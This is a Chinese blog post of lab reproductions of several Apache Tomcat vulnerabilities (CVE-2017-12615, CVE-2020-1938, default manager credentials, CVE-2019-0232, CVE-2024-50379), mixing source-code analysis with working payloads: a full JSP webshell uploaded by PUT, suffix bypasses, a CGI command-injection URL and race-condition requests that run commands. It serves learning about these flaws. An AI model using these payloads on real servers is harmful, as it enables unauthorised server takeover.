Tomcat历史漏洞复现

CVE-2017-12615 文件上传

影响范围: 7.0.0 – 7.0.79 以及 8.5.19

类型: 文件上传 远程代码执行

危害等级: 高危,攻击者利用该漏洞可直接上传 webshell (远程代码执行)从而完全控制服务器主机

漏洞分析

特殊构造拓展名可以让tomcat视为非jsp,但让操作系统仍视作jsp

前提条件为在 conf/web.xml 中 readonly 的设置为 false,漏洞便可触发

8.5.x版本的Tomcat源码的web.xml中如下片段可得

 <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>

当请求文件后缀为.jsp或.jspx会调用JSP servlet处理请求,而其他的请求则会交给Default servlet,经过测试直接上传.jsp会返回404

则可知 JSP servlet 并不能处理 PUT 请求,那么如果对后缀名进行特殊构造,便可成功将请求转给Default servlet的同时使后缀名可以正常解析。

如有如下后缀名构造:

.jsp/

.jsp::DATA$

.jsp%20

便可令tomcat处理请求时调用Default servlet而不是JSP servlet(后两种适用于Windows),在解析文件时仍然可以正常作jsp文件解析

至此,任意文件上传写入漏洞便已经形成

漏洞复现操作过程

刷新页面进行抓包,改GET为PUT,并设置路由为/rice.jsp/

PUT /rice.jsp/ HTTP/1.1
Host: 101.200.194.135:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C1D029AB615D778DE0B7EAD91903E6E8
Connection: close
Content-Length: 958

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

测试浏览器访问/rice.jsp,返回空白页面,写入成功

使用蚁剑进行连接,密码passwd

测试连接成功,复现完成

CVE-2020-1938 文件读取

影响范围:Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

类型: 文件读取

危害等级: 高危,利用该漏洞可以读取 Tomcat所有 webapp 目录下的文件

漏洞分析

Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009

漏洞由于Tomcat AJP协议存在缺陷而导致

conf/server.xml 中两个connecto配置:

<Connector executor="tomcatThreadPool"
               port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" />
    ......
 <!-- Define an AJP 1.3 Connector on port 8009 -->
    <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />    

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理,会将ajp里面的内容取出设置成request对象的Attribute属性,大致经过了流程:

private void prepareRequest() {

    // Translate the HTTP method code to a String.
    ...
    // Decode headers 
    ...
    // Set this every time in case limit has been changed via JMX
    ...
    // Decode extra attributes  //关键点
    ...
    // Check if secret was submitted if required
    ...
    // Check for a full URI (including protocol://host:port/)
    ...
}

即下面代码片段

 // Decode extra attributes
        String requiredSecret = protocol.getRequiredSecret();
        boolean secret = false;
        byte attributeCode;
        while ((attributeCode = requestHeaderMessage.getByte())
                != Constants.SC_A_ARE_DONE) {

            switch (attributeCode) {

            case Constants.SC_A_REQ_ATTRIBUTE :
                requestHeaderMessage.getBytes(tmpMB);
                String n = tmpMB.toString();
                requestHeaderMessage.getBytes(tmpMB);
                String v = tmpMB.toString();
                /*
                 * AJP13 misses to forward the local IP address and the
                 * remote port. Allow the AJP connector to add this info via
                 * private request attributes.
                 * We will accept the forwarded data and remove it from the
                 * public list of request attributes.
                 */
                if(n.equals(Constants.SC_A_REQ_LOCAL_ADDR)) {
                    request.localAddr().setString(v);
                } else if(n.equals(Constants.SC_A_REQ_REMOTE_PORT)) {
                    try {
                        request.setRemotePort(Integer.parseInt(v));
                    } catch (NumberFormatException nfe) {
                        // Ignore invalid value
                    }
                } else if(n.equals(Constants.SC_A_SSL_PROTOCOL)) {
                    request.setAttribute(SSLSupport.PROTOCOL_VERSION_KEY, v);
                } else {
                    request.setAttribute(n, v );
                }
                break;

这一步会通过 switch case 来判断请求头的字段名称是不是预先定义好的,如果是预先定义的直接设置 request 对象的对应属性即可,如果不是预先定义好的会生成键值对添加到 attributes 中

之后进入Adapter解析请求,选择合适的 Wrapper

// Process the request in the adapter
            if (!getErrorState().isError()) {
                try {
                    rp.setStage(org.apache.coyote.Constants.STAGE_SERVICE);
                    getAdapter().service(request, response);
                } catch (InterruptedIOException e) {
                    setErrorState(ErrorState.CLOSE_CONNECTION_NOW, e);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLog().error(sm.getString("ajpprocessor.request.process"), t);
                    // 500 - Internal Server Error
                    response.setStatus(500);
                    setErrorState(ErrorState.CLOSE_CLEAN, t);
                    getAdapter().log(request, response, 0);
                }
            }

进入 internalMapWrapper 函数(在org.apache.catalina.mapper.Mapper里面,五个rule),为不同的 uri 选择合适的 wrapper

匹配规则:

// Rule 1 -- Exact Match
// Rule 2 -- Prefix Match
// Rule 3 -- Extension Match
// Rule 4 -- Welcome resources processing for servlets
    // Rule 4a -- Welcome resources processing for exact macth
    // Rule 4b -- Welcome resources processing for prefix match
    // Rule 4c -- Welcome resources processing for physical folder
// Rule 7 -- Default servlet

设置好了 wrapper 后会初始化 servlet,最后在 HttpServlet 中调用 service,然后对应 servlet 来接着处理

如果进入了 DefaultServlet(rule7),service 函数会调用 doGet

 protected void service(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {

        if (req.getDispatcherType() == DispatcherType.ERROR) {
            doGet(req, resp);            //这里调用了doget
        } else {
            super.service(req, resp);
        }
    }

而 doGet 中会利用 serveResource 读取文件内容(要来力)

protected void doGet(HttpServletRequest request,
                         HttpServletResponse response)
        throws IOException, ServletException {

        // Serve the requested resource, including the data content
        serveResource(request, response, true, fileEncoding);        //这里插个眼,关键点

    }

serverREsource里面又调用getRelativePath去获取路径

 String path = getRelativePath(request, true);

那就再接着找(文件上传那个洞的功能实现里doPUT也调用这个了)

 protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {
         //芝士节选后的片段
        String servletPath;
        String pathInfo;

        if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {
            // For includes, get the info from the attributes
            pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);
            servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);
        } else {
            pathInfo = request.getPathInfo();
            servletPath = request.getServletPath();
        }
}

当我们能控制 INCLUDE_REQUEST_URI,INCLUDE_PATH_INFO,INCLUDE_SERVLET_PATH 这三个参数时就可以控制路径(path)

serverREsource里面还调用了

String path = getRelativePath(request, true);
......
WebResource resource = resources.getResource(path);

按照路径去读文件资源(哈哈道爷我成啦

漏洞复现操作过程

vulhub开启容器,之后nmap一下本机,可以看到8080和8009端口的开放(8009为AJP)

尝试读取web.xml

成功读取,测试读取index.jsp也可,结合文件上传漏洞可以实现包含

Tomcat8 弱口令+war远程部署

影响范围: tomcat8

类型: 未授权登录,越权

危害等级: 高危,攻击者利用该漏洞可直接登录后台上传恶意文件

漏洞分析

在 tomcat8 环境下默认进入后台的密码为tomcat/tomcat(有的时候是admin/admin),未进行修改配置会导致未授权的登录

漏洞复现操作过程

启动环境,登录8080,直接利用tomcat/tomcat进行登录

可以看到成功登录

之后将rice.jsp打包成war包(rice.jsp为java马)

上传后进行访问,白页面说明上传成功了

直接蚁剑测试连接

连接成功,说明马生效,复现完成

CVE-2019-0232 RCE

影响范围: 9.0.0.M1 到 9.0.17

8.5.0 到 8.5.39

7.0.0到 7.0.93

类型: RCE

危害等级: 高危,攻击者利用该漏洞可直接执行任意命令

漏洞分析

漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中

CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875(一个协议)来从Url参数中生成命令行的参数,并把参数传递至 Runtime 执行

这个漏洞是因为 Runtime.getRuntime().exec 在 Windows 中和 Linux 中底层实现不同导致的

Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess (函数),会将参数合并成字符串,作为 lpComandLine 参数传给 CreateProcess 。

也就是说,所有要执行的命令和参数会被拼接成一个完整的字符串。

程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 转成参数的一个数组。

在Windows中,当 CreateProcess 函数中的参数为 bat 文件或是 cmd 文件时,会去调用 cmd.exe , 故最后会变成 cmd.exe /c “arg.bat & dir”,而 java 的调用过程并没有做任何的转义,所以在Windows下会存在漏洞

漏洞复现操作

缺德的tomcat启动不起来,操作不了一点(机魂不悦)

复现过程应为如下:

在 conf/web.xml 中找到注释的 CGIServlet部分,去掉注释,(Tomcat的 CGI_Servlet组件默认是关闭的)并配置enableCmdLineArguments 和 executable

最终该部分为如下就ok

<servlet>
    <servlet name>cgi</servlet-name)
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
    <param name>cgiPathPrefix</param name)
    <param-value>WEB-INF/cgi</param-value)
</init-param>
<init-param>
    <paramname>enableCmdLineArguments</param name
    <param-value>true</param value>
</init-param>
<init-param>
    <paramname>executable<paramname)
<param-value></paramvalue>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

然后在conf/web.xml中启用cgi的 servlet-mapping,之后去修改conf/context.xml的添加 privileged=”true”属性,否则会没有权限

最后在 webapps\ROOT\WEB-INF 下创建 cgi-bin 目录,里面写一个hello.bat,内容如下:

@echo off
echo Content-Type:text/plain
echo.
set foo=%~1
%foo%

到这就搭建好了,之后去打一个↓就可以看到弹出计算器了

localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

CVE-2024-50379 RCE

影响范围: 11.0.0-M1 <= Apache Tomcat < 11.0.2

10.1.0-M1 <= Apache Tomcat < 10.1.34

9.0.0.M1 <= Apache Tomcat < 9.0.98

类型: RCE 条件竞争

危害等级: 高危,RCE

漏洞分析

基于 CVE-2017-12615 readonly设置为 false ,且允许PUT类型文件上传,就可以上传恶意文件。

windows 不区分大小写,(所以Linux没有这个洞)在上传Jsp后,如果被解析到,仍然可以当作正经的jsp解析,当文件写入和访问同时发生时就会导致 jsp 文件被写入时触发编译,在文件被完全编译成.class文件并删除前被请求解析,此时就触发RCE

漏洞复现操作

虚拟机起tomcat

之后物理机测试一下访问,可以访问到说明功能正常

之后利用Yakit,并发如下四个数据包

PUT /test1.Jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json

aa<% Runtime.getRuntime().exec("calc.exe");%>
PUT /test2.Jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json

aa<% Runtime.getRuntime().exec("calc.exe");%>
GET /test1.jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json
GET /test2.jsp HTTP/1.1
Host: 192.168.20.129:8080
Content-Type: application/json

并发20和5000(请求的比写入的多容易成功一些)

等待一会便可见运行tomcat的虚拟机成功弹出计算器

评论

  1. 八幡海铃
    1 年前
    2025-1-18 18:15:20

    多发点玉足

  2. 八幡海铃
    1 年前
    2025-1-18 18:16:30

    宝宝加油!!!

  3. 八幡海铃
    1 年前
    2025-2-01 20:37:32

    什么时候更新?

    • 博主
      八幡海铃
      1 年前
      2025-2-07 3:43:29

      最近学习的脚步虽然没有停下,但是笔记和文章确实没啥产出(
      会一直更新的

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇